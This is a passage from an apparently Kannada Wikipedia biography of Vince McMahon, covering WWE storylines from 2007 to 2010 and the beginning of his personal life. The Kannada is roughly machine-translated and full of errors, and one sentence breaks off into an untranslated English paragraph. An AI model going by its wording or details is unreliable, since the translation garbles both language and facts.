ನಿಜವಾಗಿ [[ಕ್ರಿಸ್ ಬೆನೈಟ್|ಕ್ರಿಸ್ ಬೆನೊಯಿಟ್]] ಸತ್ತು ಹೋದಕಾರಣ, ಪ್ರದರ್ಶನವು ಬರಿದಾದ ಯುದ್ಧರಂಗಾದಲ್ಲಿ ಮೆಕ್ ಮಹೊನ್ ನಿಂತಿರುವ ಹಾಗೆ ಶುರುವಾಯಿತು, ಮತ್ತು ಅವನ ಮರಣವು ಕಥೆಅಂಶದ ಒಂದು ಭಾಗದ ಅವನ ಸ್ವಭಾವ ಎಂದು ಒಪ್ಪಿಗೆ ನೀಡಲಾಯಿತು.<ref>{{cite web|url=http://www.newsday.com/news/nationworld/nation/ny-usbenoit0626,0,4246396.story?coll=ny-top-headlines|archiveurl=https://web.archive.org/web/20070705113805/http://www.newsday.com/news/nationworld/nation/ny-usbenoit0626,0,4246396.story?coll=ny-top-headlines|archivedate=2007-07-05|title=WWE wrestler Chris Benoit and family found dead|author=Alfonso A. Castillo|publisher=Newsday.com|accessdate=2007-07-02|date=June 26, 2007}}</ref> ಇದು ಬೆನೊಯಿಟ್ ನ ಮೂರು-ಗಂಟೆಯ ಕಾಲಾವಧಿಯ ಪುನ್ಯಸ್ಮರಣೆಯ ತರುವಾಯ ನಡೆಯಿತು.<ref>{{cite web|url=http://www.wwe.com/inside/news/benoitdead|archiveurl=https://web.archive.org/web/20080105164617/http://www.wwe.com/inside/news/benoitdead|archivedate=2008-01-05|title=Benoit Dead|publisher=WWE.com|accessdate=2007-06-25|date=June 25, 2007}}</ref> ಆಗಸ್ಟ್ 6, 2007ರಲ್ಲಿ ''ECWವಿನ Sci Fi'' ನಂತರದ ರಾತ್ರಿಯಲ್ಲಿ ಕೊನೆಯದಾಗಿ ಕಂಡುಬಂದನು ಅಲ್ಲಿ ಅವನು ಹಿಂದಿನ ರಾತ್ರಿ ಬೆನೊಯಿಟ್ ಗೆ ಪುನ್ಯಸ್ಮರಣೆಯಾದದನ್ನು ನೆನೆಪುಪಡಿಸಿದ ನಂತರ, ಅವನು ಇನ್ನು ಮುಂದೆ ಬೆನೊಯಿಟ್ ನ ಕುರಿತು ನಮೂದಿಸ ಬಾರದೆಂದನು ಯಾಕೆಂದರೆ ಆ ಪರಿಸ್ಥಿಯು ಸಹಜವಾಗಿ ಎಲ್ಲರಿಂದ ಕಂಡುಬಂತು, ಮತ್ತು ಬೆನೊಯಿಟ್ ಕೊಲೆಯಿಂದ ದುಃಖಿತರಾದವರಿಗೆ ECW ಪ್ರದರ್ಶನವನ್ನು ಮೀಸಲಿಡಲಾಯಿತು. ಆಗಸ್ಟ್ 6 ಷೋ ನಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ ತನ್ನ ಮರಣವನ್ನು ಕುರಿತು ನಕಲಿ ಮಾಡಿದನು ಏಕೆಂದರೆ ಅವನನ್ನು ಕುರಿತು ಜನರು ಏನು ಯೋಚಿಸುತ್ತಾರೆ ಎಂದು ತಿಳಿಯಲು ಮಾಡಿದ, ಸ್ಟಿಫೇನಿಯು ಕೂಡ ನಕಲಿಯಾಗಿ ದುಃಖಿಸಿದಲು ಅದೇ ವೇಳೆಯಲ್ಲಿ ತನ್ನ ತಂದೆಯ ಕೊನೆಯ ಉಯಿಲು ಮತ್ತು ಸಾಕ್ಷಿ ನೋಡಿ ಅದರಿಂದ ಅವಳಿಗೆ ಏನು ಲಾಬ ಎಂದು ನೋಡಿದಲು. [[File:Wrestling has come a long way...down..jpg|thumb|left|170px|ವಿನ್ಸೆ ಮಕ್ಮಹೋನ್ ಆಜ್ಞೆಮಾಡಿ ಹೊರ್ನ್ಸ್ವೊಗ್ಗ್ಲೆ ಅನ್ನು "ಕಿಸ್ ಮೈ ಆಸ್ಸ್ ಕ್ಲಬ್" ಗೆ 2008ರಲ್ಲಿ ಸೇರಿಕೊಲ್ಲಳು ಹೇಳಿದ್ದು]] ಆಗಸ್ಟ್ 6ರ ''ಮಂಡೇ ನೈಟ್ ರವ್'' ಉಪಾಖ್ಯಾನನಲ್ಲಿ "Mr. ಮೆಕ್ ಮಹೊನ್" ವೈಶಿಷ್ಟ್ಯ ಮತ್ತೆ ವಿಧಿವತ್ತಾಗಿ ಮರಳಿತು. ಅವನು ಅನೇಕ ಕಾರ್ಯಗಳನ್ನು ಕುರಿತು ಮಾತಾಡಿದ, ಅದನ್ನು ಒಳಗೊಂಡು ಉನಿಟೆದ್ ಸ್ಟೇಟಸ್ ಕಾಂಗ್ರೇಸ್ ಅವರು ವಿಚಾರಣೆ ಮಾಡಿದ ಕುರಿತು ಮತ್ತು IRS ಗೆ ಸಾಲದ ಬಗ್ಗೆ ಹೇಳಿದನು. ಮೆಕ್ ಮಹೊನ್ ''Raw'' ವಿನ ಪ್ರಧಾನ ವ್ಯವಸ್ಥಾಪಕ ಹುದ್ದೆಗೆ ಕದನ ಘೋಷಿಸಿದ, ಅದರಲ್ಲಿ ವಿಲ್ಲಿಂಮ್ ರೆಗಲ್ ಗೆದ್ದನು. ''Raw'' ವಿನ ಕೊನೆಯಲ್ಲಿ, ಜೊನಾಥನ್ ಕೋಚ್ ಮ್ಯಾನ್ ಮೆಕ್ ಮಹೊನ್ ಗೆ ಪಿತೃತ್ವ ಅರ್ಜಿಯ (ಕಥೆ) ಸಂಬಂಧವಾಗಿ ನ್ಯಾಯಸಮ್ಮತವಲ್ಲದ ಕಳೆದು ಹೋದ ಮಗುವಿನ ಬಗ್ಗೆ ತಿಳಿಸಿದನು,<ref>{{cite web|url=http://www.onlineworldofwrestling.com/results/raw/070806.html|title=RAW results - August 6, 2007|accessdate=2007-09-12|publisher=Online World of Wrestling}}</ref> ಬರುವ ವಾರಗಳಲ್ಲಿ ಅವನು ಒಂದು WWE ಯ ಗಂಡು ಸದಸ್ಯ ಎಂದು ತೋರಿಸಿದನು. ಸೆಪ್ಟೆಂಬರ್ 3ರ Raw ಉಪಾಖ್ಯಾನದಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ ಹಾಜರಾದನು ಮತ್ತು ಅವನು ಕುಟುಂಬದವರು ಸಂಧಿಸಿದರು. Mr.ಕೆನ್ನೆಡಿ ಅವರನ್ನು ಅಡ್ಡಿಮಾಡಿ ಮೆಕ್ ಮಹೊನ್ ನ "ವಿವಾಹಕ್ಕೆ ಹೊರತಾಗಿ ಹುಟ್ಟಿದ ಮಗ" ನಾನೆ ಎಂದು ಹೇಳಿದ, ಆದರೆ ಅವನನ್ನು ಕೂಡ ಒಂದು ವಕೀಲ ಅಡ್ಡಿಮಾಡಿ ಕೆನ್ನೆಡಿ ಮೆಕ್ ಮಹೊನ್ ನ ಮಗ ಅಲ್ಲ ಮತ್ತು ನಿಜವಾದ ಮಗನನ್ನು ಬರುವ ವರದ ''ರವ್'' ನಲ್ಲಿ ಬಹಿರಂಗಪಡಿಸುತ್ತೆನೆ ಎಂದು ತಿಳಿಸಿದ.<ref>{{cite web|url=http://www.onlineworldofwrestling.com/results/raw/070903.html|title=RAW results - September 3, 2007|accessdate=2007-09-12|publisher=Online World of Wrestling}}</ref> ಅವನ ವಿವಾಹಕ್ಕೆ ಹೊರತಾಗಿ ಹುಟ್ಟಿದ ಮಗನನ್ನು ಸೆಪ್ಟೆಂಬರ್ 10ರ ರವ್ ನಲ್ಲಿ ಹೊರ್ನ್ಸ್ವೊಗ್ಗ್ಲೇ ಎಂದು ತಿಳಿಸಿದರು.<ref>{{cite web|url=http://www.onlineworldofwrestling.com/results/raw/070910.html|title=RAW results - September 10, 2007|accessdate=2007-09-12|publisher=Online World of Wrestling}}</ref> ಫೆಬ್ರವರಿ 2008, ರಲ್ಲಿ ಅನೇಕ ತಿಂಗಳ "ಕಠಿಣವಾದ ಪ್ರೀತಿ" ಹೊರ್ನ್ಸ್ವೊಗ್ಗ್ಲೇ ಸಂಚೀನ ಮೇಲೆ, ಜೋನ್ "ಬ್ರದ್ಶವ್" ಲಿಫೆಲ್ಡ್, ಹೊರ್ನ್ಸ್ವೊಗ್ಗ್ಲೇ ಮೆಕ್ ಮಹೊನ್ ನ ನಿಜವಾದ ಮಗ ಅಲ್ಲ ಮತ್ತು ಅವನು ಫಿನ್ಲಿಯ ಮಗ. ಮತ್ತೆ ಅರಿವಾಯಿತು ಇದು ಶೇನ್, ಸ್ಟಿಫೇನಿ ಮತ್ತು ಲಿಂಡ ಮೆಕ್ ಮಹೊನ್, ಫಿನ್ಲಿ ಜೊತೆಯಲ್ಲಿ ಹಾಗಿದ ಸಂಚು. [[File:Vince McMahon hof.jpg|thumb|250px|ಮಕ್ಮಹೋನ್, ಹಾಲ್ ಆಫ್ ಫಾಮ್, ಸ್ತೋನೆ ಕೋಲ್ಡ್ ಸ್ಟೇವ್ ಆಸ್ಟಿನ್ ಅನ್ನು ಪರಿಚಯ ಮಾಡಿಕೊಡುವುದು.]] ಜೂನ್ 2ರ Raw ವಿನ ಉಪಾಖ್ಯಾನ, ಮೆಕ್ ಮಹೊನ್ ಮುಂದಿನ ವಾರದಲ್ಲಿ $1,000,000 ವನ್ನು ರವ್ ನಲ್ಲಿ ಕೊಡುವದಾಗಿ ಘೋಷಿಸಿದ. ಅಭಿಮಾನಿಗಳಿಗೆ ನೇರ ನೋಂದಣಿ ಮಾಡಲಾಯಿತು, ಮಾತು ಒಂದೊಂದು ವಾರ, ಅನಿಶ್ಚಿತ ರೀತಿಯಲ್ಲಿ ಆರಿಸಿ ಅಭಿಮಾನಿಗಳಿಗೆ $1,000,000 ದಿಂದ ಒಂದು ಬಾಗವನ್ನು ಕೊಡಲಾಯಿತು. ಮೆಕ್ ಮಹೊನ್ ನ ಮಿಲ್ಲಿಯನ್ ಡಾಲರ್ ಮನಿಯ ಕೇವಲ 3ವಾರ ಮಾತ್ರ ಇತ್ತು ಮತ್ತು ಜೂನ್ 23ರ ''ರವ್'' ವಿನ ಡ್ರಾಫ್ಟ್ ನಲ್ಲಿ ಅಮಾನತು ಮಾಡಲಾಯಿತು. $500,000 ಕೊಟ್ಟ ಮೇಲೆ, ಸ್ಫೋಟದಿಂದ ರವ್ ವೇದಿಕೆ ಹೊಡೆಯಿತು, ಅದು ಮೆಕ್ ಮಹೊನ್ ಮೇಲೆ ಬೀಳಿತು. ಜೂನ್ 30ರ, ಉಪಾಖ್ಯಾನದಲ್ಲಿ ಶೇನ್ ''ರವ್'' ವಿನ WWE ಸಭಿಕರುನ್ನು ಮಾತನಾಡಿದ, ಅದೇನೆಂದರೆ ಅವರ ಕುಟುಂಬದವರು ತನ್ನ ತಂದೆಯ ಸ್ಥಿತಿಯನ್ನು ಸ್ವಂತವಗಿಡಲು ಯೋಚಿಸಿದ್ದಾರೆ. ಅದರ ಜೊತೆಗೆ, ಅವನು ಪ್ರಚೋದಿಸಿದ ಈ "ಪ್ರಕ್ಷುಬ್ಧ ಸಮಯದಲ್ಲಿ" WWE ಯವರು ಅವರ ಜೊತೆ ನಿಲ್ಲಬೇಕೆಂದು ಹೇಳಿದ. ಮೆಕ್ ಮಹೊನ್ಸ ಅವರು ಐಕ್ಯತೆಯಿಂದ ಇರಬೇಕೆಂದು ಅನೇಕ ಮನವಿ ಮಲ್ಲರಿಗೆ ಮಾಡಿದ, ರವ್ ವಿಗೆ ಪರಿಸ್ಥಿತಿ ನಿಯಮಬದ್ಧತೆ ಮಾಡಲು ಕೊನೆಯದಾಗಿ ಮಿಕ್ ಅದಂಲೇ ಯನ್ನು ಹೊಸ ಪ್ರಧಾನ ವ್ಯವಸ್ಥಾಪಕರನ್ನಾಗಿ ಮಾಡಿದ. ===ಮರಳು, ರಂಡಿ ಒರ್ಟನ್ &amp; ಫೇಸ್ ಟರ್ನ್ ಜೊತೆ ದ್ವೇಷ (2009)=== ಜನವರಿ 5, 2009, ರಲ್ಲಿ ಕ್ರಿಸ್ ಜೆರಿಕೋ ಸ್ಟಿಫೇನಿ ಮೆಕ್ ಮಹೊನ್ ಜೊತೆ ಮಾತಾಡಿ ಹೇಳಿದ, ವಿನ್ಸೆ ''ರವ್'' ಗೆ ಹಿಂದಿರುಗ ಬಹುದು ಎಂದು ಘೋಷಿಸಿದ.<ref>{{cite web|url=http://www.wwe.com/shows/raw/archive/01052009/|title=Big Night In The Big Easy|accessdate=2009-01-05|publisher=WWE.com}}</ref> ಬರುವ ವಾರದಲ್ಲಿ, ಜೆರಿಕೋ WWE ಕಥೆಅಂಶದಿಂದ ತೆಗೆದಾಕಿದರು. ಜನವರಿ 19, 2009ರಲ್ಲಿ, ವಿನ್ಸೆ ಹಿಂದಿರುಗಿದನು, ಮತ್ತು ಅವನ ಮಗಳ ತೀರ್ಮಾನ ವನ್ನು ಬೆಂಬಲಿಸಿದ. ಹೇಗಿದ್ದರೂ, ಸ್ಟಿಫೇನಿ, ಜೆರಿಕೊವನ್ನು ಪುನ ಸೇರಿಸಿದಳು. ರಾಂಡಿ ಒರ್ಟನ್ ಮತ್ತೆ ಹೊರಬಂದು ಹಕ್ಕುಸಾಧಿಸ ಅದೇನೆಂದರೆ ಸ್ಟಿಫೇನಿ ಕ್ಷಮಾಯಾಚಿಸಿದಾಲೆ, ಆದರೆ ವಿನ್ಸೆ ಹೇಳಿದ ಒರ್ಟನ್ ನನ್ನನು ಕ್ಷಮಾಯಾಚಿಸಿದ. ವಿನ್ಸೆ ಒರ್ಟನ್ ನನ್ನು ಕೆಲಸದಿಂದ ತೆಗೆಯುವ ಮುನ್ನ, ಒರ್ಟನ್ ವಿನ್ಸೆಯ ತಲೆಗೆ ಅಪ್ಪಳಿಸಿದ, ಕಾಲಿನಿಂದ ಒದೆದ, ಮತ್ತು ಒಡೆಸಿದ, ಇದರಿಂದ ಶೇನ್ ಮೆಕ್ ಮಹೊನ್ ಹಿಂದಿರುಗಳು ಕಾರಣವಾಯಿತು. ಮಾರ್ಚ್ 30, 2009ರಲ್ಲಿ, ಒರ್ಟನ್ ಅನ್ನು ಸಮಾದಾನ ಪಡಿಸಲು ಮೆಕ್ ಮಹೊನ್ ತನ್ನ ಮಗ, ಶೇನ್, ಮತ್ತು ಅಳಿಯನಾದ ತ್ರಿಪೆಲ್ ಎಚ್ ಜೊತೆ ರವ್ ಗೆ ಅನಿರೀಕ್ಷಿತ ಬೇಟಿ ನೀಡಿದ. ವ್ರೆಸ್ತೆಲ್ ಮನಿಯ ರಾತ್ರಿಯ ಮುನ್ನ, ಮೆಕ್ ಮಹೊನ್ ರವ್ ನಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡ ಹೇಳಿದ ಒರ್ಟನ್ ಗೆ ಚಂಪಿಯನ್ ಆಗಲು ಬ್ಯಾಕ್ಲಾಶ್ ನಲ್ಲಿ ಇನ್ನೊಂದು ಅವಕಾಶ ಸಿಗುವುದಿಲ್ಲ ಆದರೆ ಬದಲಾಗಿ ಜತೆಗಾರ ಲೆಗಸಿ ಸದಸ್ಯ ಜೊತೆಯಾಗಿ ತ್ರಿಪೆಲ್ ಎಚ್, ಅವನ ಮಗ ಶೇನ್, ಮತ್ತು ಅವನೇ (ರವ್ ನ ಪ್ರಧಾನ ವ್ಯವಸ್ಥಾಪಕನಾದ ವಿಕ್ಕೆ ಗುರ್ರೆರೊ i Orton challenged McMahon to a match that night, which saw Legacy assault him, with Orton also hitting the RKO. After being assisted by Triple H, Shane and a returning Batista, McMahon announced that Batista would replace him in the Backlash 6-Man Tag Team Match; at Backlash Orton pinned Triple H to become the WWE Champion. After placing different celebrity guest hosts each week on Raw, Vince would make his main appearances on SmackDown! thus placing Theodore Long in probation for his actions on Smackdown. On August 24, episode on Raw, Vince had a birthday bash which was later interrupted by The Legacy, and competed in a six-man tag team match with his long-time rival team DX, in which they won after the interference of John Cena. He continued to appear on Smackdown! making occasional matches and reminding Long that he is still on probation. On the November 16th edition of Raw he appeared on the show for the first time in 3 months which took place in Madison Square Garden to have an in ring segment with guest host Roddy Piper in which McMahon announced his "retirement" from in ring action.<ref name="us.wwe.com">{{Cite web |url=http://us.wwe.com/shows/raw/results/ |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-08-23 |archive-date=2010-11-29 |archive-url=https://web.archive.org/web/20101129061013/http://us.wwe.com/shows/raw/results/ |url-status=dead }}</ref> ===ಬ್ರೆಟ್ ಹಾರ್ಟ್ ಮತ್ತು ಹೀಲ್ ಟುರ್ನ್ ಜೊತೆ ದ್ವೇಷ (2010)=== ಜನವರಿ 4, 2010 RAW ಉಪಾಖ್ಯಾನದಲ್ಲಿ, ಮ್ಯಾಕ್‌ಮೋಹನ್ RAW ವಿನ ವಿಶಿಷ್ಟ ಅತಿಥಿಯಾದ ಬ್ರೆಟ್ "ದ ಹಿಟ್ಮ್ಯಾನ್" ಹಾರ್ಟ್ (ಪ್ರಸಾರ ಮಾಡಿದ) ಅನ್ನು 1997ರ, ಸರ್ವಿವೊರ್ ಸೀರೀಸ್ ನ ಮೊಂಟೆರಿಯಲ್ ಸ್ಕ್ರೆವ್ ಜಾಬ್ ನಂತರ ಮೊದಲ ಬಾರಿಗೆ ವಿರೋಧಿಸಿದ, ಮೇಲೆ ಹೇಳಿದ ಮೊಂಟೆರಿಯಲ್ ಸ್ಕ್ರೆವ್ ಜಾಬ್ ದ್ವೇಷವನ್ನು ಮರೆಯುವ ಉದ್ದೇಶದಿಂದ ಹೇಳಿದ. ಕೊನೆಗೆ ಇಬ್ಬರು ದ್ವೇಷವನ್ನು ಮರೆಯಲು ಬಂದರು, ಆದರೆ ಕೈಕುಲುಕು ಆದ ಮೇಲೆ, ವಿನ್ಸೆ ಹಾರ್ಟ್ ನ ತೊಡೆಸಂದನ್ನು ಕಾಲಿನಿಂದ ಒದೆದನು ಮತ್ತು ವೇದಿಕೆಯನ್ನು ಗಟ್ಟಿಯಾದ ಬೂಸ್ ಎಂಬ ಪಲ್ಲವಿಗೆ ಮತ್ತು ಗುಂಪು "ಯು ಸ್ಕ್ರೆವೆದ್ ಬ್ರೆಟ್! ಹಾಡುವುದಕ್ಕೆ ಬಿಟ್ಟನು ಯು ಸ್ಕ್ರೆವೆದ್ ಬ್ರೆಟ್!".<ref name="us.wwe.com" /> ವ್ರೆಸ್ತೆಲ್ ಮನಿಯ XXVI ರಲ್ಲಿ ಅವರಿಬ್ಬರಿಗೆ ಒಂದು ಪಂದ್ಯವನ್ನು ನಮೂದಿಸಲಾಯಿತು, ಅದರಲ್ಲಿ ಹಾರ್ಟ್ ಮಕ್ಮಹೋನ್ ಅನ್ನು ನೋ ಹೊಲ್ದ್ಸ್ ಬರ್ರೆಡ್ ಲುಮ್ಬೇರ್ ಜಾಕ್ ಪಂದ್ಯದಲ್ಲಿ ಸೋಲಿಸಿದನು. ಪಂದ್ಯಕ್ಕೆ ಮುನ್ನವಾಗಿ, ಬ್ರೆಟ್ ಹಾರ್ಟ್ ಪ್ರಕಟಿಸಿದನು ಸಾಂಪ್ರದಾಯಿಕವಾಗಿರುವ ಬ್ರೆಟ್ ಸ್ಕ್ರೆವೆದ್ ಬ್ರೆಟ್ ಅನ್ನು ತಿರುಗಿಸಿ ಬ್ರೆಟ್ ಸ್ಕ್ರೆವೆದ್ ವಿನ್ಸೆ! ದೃಶ್ಯ ಎದುರು ಬದುರಾಗುವಿಕೆಯನ್ನು ಪ್ರಾರಂಭಿಸಿದನು. ವಿನ್ಸೆ ಮಕ್ಮಹೋನ್ ಮತ್ತೆ ಪ್ರಕಟಿಸಿದನು ವಿನ್ಸೆ ಬ್ರೆಟ್ ಅನ್ನು ಸ್ಕ್ರೆವ್ ಮಡಿದ, ಮತ್ತು ಇತಿಹಾಸ ಇ ಪಂದ್ಯದ ಮುಕ್ತಾಯದಲ್ಲಿ ಪುನರಾವರ್ತಿಸುತ್ತದೆ. ಮ್ಯಾಕ್‌ಮೋಹನ್ ಮತ್ತೆ ಹೇಳಿದನು ಪಂದ್ಯವು ಲುಮ್ಬೇರ್ಜಕ್ಕ್ ಪಂದ್ಯಕ್ಕೆ ಬದಲಾಗಿದೆ, ಅ ಲುಮ್ಬೇರ್ಜಕ್ಕ್ ಯಾರೆಂದರೆ ಹಾರ್ಟ್ ನ ಕುಟುಂಬದವರೆಂದು, ಬ್ರೆಟ್ ಅನ್ನು ಅವಮಾನಿಸಳು ಪ್ರಯತ್ನಿಸಿದ. ಪಂದ್ಯವಾಗುವುದರ ಮುನ್ನವೇ ಹಾಗಿದ್ದರೂ, ಬ್ರೆಟ್ ಹೇಳಿದನು ಒಂದು ಹಂಚಿಕೆ ಯನ್ನು ಬ್ರೆಟ್ ಮೇಲೆ ಹಾಕಿದ್ದಾರೆ ಮತ್ತು ಅದರಿಂದ ಮ್ಯಾಕ್‌ಮೋಹನ್ ಅವನನ್ನು ಉಪಯೋಗಿಸುತ್ತಾನೆ ಎಂದು ಹೇಳಿದನು, ಮತ್ತು ಅ ಪರಿಸ್ಥಿತಿಯನ್ನು ನಿವಾರಿಸು ತನ್ನ ಅಧಿಕಾರವನ್ನು ಉಪಯೋಗಿಸಲಿಲ್ಲ. ಪಂದ್ಯದ ಸಮಯದಲ್ಲಿ, ಹಾರ್ಟ್ ಕುಟುಂಬದ ಸದಸ್ಯರು, ಅದರ ಜೊತೆಯಲ್ಲಿ ದ ಹಾರ್ಟ್ ಡೈನಸ್ಟಿ, ಯವರು ಮ್ಯಾಕ್‌ಮೋಹನ್ ರಿಂಗ್ ಬಿಡುವಾಗ ದಾಳಿಮಾಡಿದರು, ಇದರಿಂದ ಹಾರ್ಟ್ ಗೆ ಅನುಕೂಲವಾಯಿತು. ಪಂದ್ಯದ ಸಮಯದಲ್ಲಿ, ಹಾರ್ಟ್, ಮ್ಯಾಕ್‌ಮೋಹನ್ ಅನ್ನು ಅನೇಕ ಬಾರಿ ಕುರ್ಚಿಯಿಂದ ಹೊಡೆದ ಮತ್ತು ಅವನ ಪ್ರಸಿದ್ಧ ಶಾರ್ಪ್ಶೂಟರ್ ಅನ್ನು ಉಪಯೋಗಿಸಿದ, ವ್ಯಂಗ್ಯವಾಗಿ ಇದನ್ನು ಮೊಂಟ್ರಿಯಲ್ ಸ್ಕ್ರೆವ್ ಜಾಬ್ ನಲ್ಲಿ ಮ್ಯಾಕ್‌ಮೋಹನ್ ಜೊತೆ ಜಯಸಾದಿಸಲು ಪ್ರಯೋಗಿಸಿದ. ವ್ರೆಸ್ತ್ಲೆಮನಿಯ ನಂತರ, WWE ಯ ದೂರದರ್ಶನ ಕಾರ್ಯಕ್ರಮದಲ್ಲಿ Mr. ಮ್ಯಾಕ್‌ಮೋಹನ್ ನ ಪಾತ್ರದಲ್ಲಿ ವಿನ್ಸೆ ಪಾತ್ರವಹಿಸುವುದಿಲ್ಲ ಎಂದು ಘೋಷಿಸಲಾಯಿತು, ಇನ್-ರಿಂಗ್ ಸ್ಪರ್ಧೆಯ ಹುದ್ದಯಿಂದ ನಿವೃತ್ತನಾದ.<ref>{{Cite web |url=http://www.wrestlezone.com/news/article/report-mr-mcmahon-character-might-be-finished-in-wwe-99541 |title=ವರದಿ: Mr. ಮಕ್ಮಹೋನ್ ನಡತೆ WWE ಯಲ್ಲಿ ಮುಗಿಯುತ್ತದೆಯಾಂತ |access-date=2010-08-23 |archive-date=2010-04-05 |archive-url=https://web.archive.org/web/20100405184010/http://www.wrestlezone.com/news/article/report-mr-mcmahon-character-might-be-finished-in-wwe-99541 |url-status=dead }}</ref> ಮೇ 31ರ ''Raw'' ವಿನ ಆವೃತ್ತಿಯಲ್ಲಿ, ಬ್ರೆಟ್ ಹಾರ್ಟ್ Raw ವಿನ ಹೊಸ ಪ್ರಧಾನ ವ್ಯವಸ್ಥಾಪಕ ಆದ ಕಾರಣ ಅಭಿನಂದಿಸಳು ಮ್ಯಾಕ್‌ಮೋಹನ್ ಬಂದ. ಜೂನ್ 22ರ ''Raw'' ಆವೃತ್ತಿಯಲ್ಲಿ, ದ ನೆಕ್ಷುಸ್, ಎಂದು ಹೇಳಲ್ಪಡುವ ''NXT'' ಸೀಸನ್ ಒನ್ ರೂಕೀಸ್ ಜೊತೆ ಒಪ್ಪಂದ ಮಾಡದ ಕಾರಣ, ಹಾರ್ಟ್ ಅನ್ನು ಮ್ಯಾಕ್‌ಮೋಹನ್ ವಜಾ ಮಾಡಿದನು. ಅದೇ ರಾತ್ರಿಯಲ್ಲಿ ಹೊಸ ಪ್ರಧಾನ ವ್ಯವಸ್ಥಾಪಕ ಅನಾಮಿಕ ಎಂದು ಪ್ರಕಟಿಸಿದರು ಮತ್ತು ತೀರ್ಮಾನವು ಇಮೇಲ್ ಮುಕಾನ್ತರ ಮಾಡುತ್ತಾರೆ, ಅದನ್ನು ಮೈಕ್ಹಲ್ ಕೊಲೆಯವರು ಓದುತ್ತಾರೆ. ಪ್ರಧಾನ ವ್ಯವಸ್ಥಾಪಕನ ಮೊದಲ ತೀರ್ಮಾನವೇನೆಂದರೆ ಮ್ಯಾಕ್‌ಮೋಹನ್ ಅವರನ್ನು ಆದೆ ರಾತ್ರಿಯಲ್ಲಿ ಜಾನ್ ಸೆನ ಮತ್ತು ಶೆಅಮುಸ್ ನಡುವೆಯ WWE ಚಾಂಪಿಯನ್ಶಿಪ್ ಪಂದ್ಯದಲ್ಲಿ ಅತಿಥಿ ತೀರ್ಪುಗಾರನ್ನಾಗಿ ಮಾಡಿದರು. ಪಂದ್ಯದ ವೇಳೆಯಲ್ಲಿ, ಣೆಕ್ಷುಸ್ ಅಡ್ಡಿಮಾಡಿ ಸಿನವನ್ನು ದಾಳಿಮಾಡಿದ, ಮತ್ತು ಮ್ಯಾಕ್‌ಮೋಹನ್ ಅದರ ದಾಳಿಯಿಂದ ಗೌರವ ಸಿಗಲು ಪ್ರಯತ್ನಿಸಿದ. ==ವೈಯಕ್ತಿಕ ಜೀವನ== ನಾರ್ತ್ ಕ್ಯಾರೊಲಿನದ ಪಿನೆಹುರ್ಸ್ಟ್ ನಲ್ಲಿ 1945 ಆಗಸ್ಟ್ ೨೪, ರಂದು ಮಕ್ಮಹೋನ್ ಹುಟ್ಟಿದ. ಮಕ್ಮಹೋನ್ ನ ತಂದೆಯಾದ, ವಿನ್ಸೆಂಟ್ ಜ.ಮಕ್ಮಹೋನ್, ಮಕ್ಮಹೋನ್ ಚಿಕ್ಕ ಮಗುವಗಿರುವಗಲೇ ಕುಟುಂಬವನ್ನು ಬಿಟ್ಟನು. 12ರ ಪ್ರಾಯದವರೆಗೆ ಮಕ್ಮಹೋನ್ ತನ್ನ ತಂದೆಯನ್ನು ಬೇಟಿಯಗಲಿಲ್ಲ. ವಿನ್ಸೆ ತನ್ನ ಕೂಸುತನ ಜೀವನವನ್ನು ಬಹುಮತ ತನ್ನ ತಾಯಿಯ ಮತ್ತು ಮಲತಂದೆಯ ಜೊತೆ ಕಾಲಕಳೆದ.<ref>{{cite web|url=http://www.canoe.ca/Slam/Wrestling/Bios/mcmahon-vince.html|title=Vince McMahon Biography|publisher=SLAM! Sports}}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ಪ್ಳಯ್ಬೋಯ್ ಯ ಭೇಟಿಯಲ್ಲಿ, ತನ್ನ ಒಂದು ಮಲತಂದೆಯಾದ, ಲೆಒ ಲುಪ್ತೊನ್, ತನ್ನ ತಾಯಿಯನ್ನು ಹೊಡೆಯುತಿದ್ದ ಮತ್ತು ಕಾಪಾಡಳು ಹೋಗುವಾಗ ಇವನನ್ನು ಕೂಡ ದಾಳಿ ಮಾಡುತಿದ್ದ ಎಂದು ಮಕ್ಮಹೋನ್ ಹಕ್ಕುಸಾಧಿಸು.<ref name="guide">{{cite web|url=http://findarticles.com/p/articles/mi_qn4161/is_20010429/ai_n14526973|title=The parent's guide to WWF|publisher=Sunday Mirror|accessdate=2007-07-04|date=April 29, 2001|archiveurl=https://www.webcitation.org/5QBubewaD?url=http://findarticles.com/p/articles/mi_qn4161/is_20010429/ai_n14526973|archivedate=2007-07-08|url-status=live}}</ref> ಅವನು ಹೇಳಿದ, "ದುರದೃಷ್ಟಕರ ನಾನು ಅವನನ್ನು ಕೊಳ್ಳುವ ಮುಂಚಿತವಾಗಿ ಅವನು ಮರಣ ಹೊಂದಿದನು. ನಾನು ಅದನ್ನು ನೋಡಿ ಸಂತೋಷಪಡುತಿದ್ದೆ."<ref name="guide" /> ತನ್ನ ಬಾಲ್ಯ ಪ್ರಾಯದಲ್ಲಿ, ಮಕ್ಮಹೋನ್ ಪದಕುರುಡು ಅನ್ನು ಪರಿಹರಿಸಿದ.<ref>{{cite web|url=http://www.dyslexia.tv/freethinkersu/alumni.htm|title=Dyslexia TV Alumni|accessdate=2008-09-15|publisher=Dyslexia|archive-date=2010-09-24|archive-url=https://web.archive.org/web/20100924202248/http://www.dyslexia.tv/freethinkersu/alumni.htm|url-status=dead}}</ref><ref>{{cite web|url=http://www.dyslexiamentor.com/famousdyslexics.php|title=Famous Dyslexics|accessdate=2008-09-15|publisher=Dyslexia Mentor|archive-date=2008-09-21|archive-url=https://web.archive.org/web/20080921191236/http://www.dyslexiamentor.com/famousdyslexics.php|url-status=dead}}</ref> ನಾರ್ತ್ ಕ್ಯಾರೊಲಿನ ದ ನ್ಯೂ ಬೇರನ್ ನಲ್ಲಿ ಮಕ್ಮಹೋನ್ ಲಿಂಡ ಮೆಕ್ ಮಹೊನ್ ಅನ್ನು ಆಗಸ್ಟ್ 26, 1966 ರಲ್ಲಿ ಮದುವೆಯಾದ. ಅವರಿಬ್ಬರು ಚರ್ಚಿನಲ್ಲಿ ಭೇಟಿಯಾದ ಅವಾಗ ಲಿಂಡಳ ವಯಸ್ಸು 13 ಮತ್ತು ವಿನ್ಸೆಯ ವಯಸ್ಸು 16. ಅ ಸಮಯದಲ್ಲಿ ಮೆಕ್ 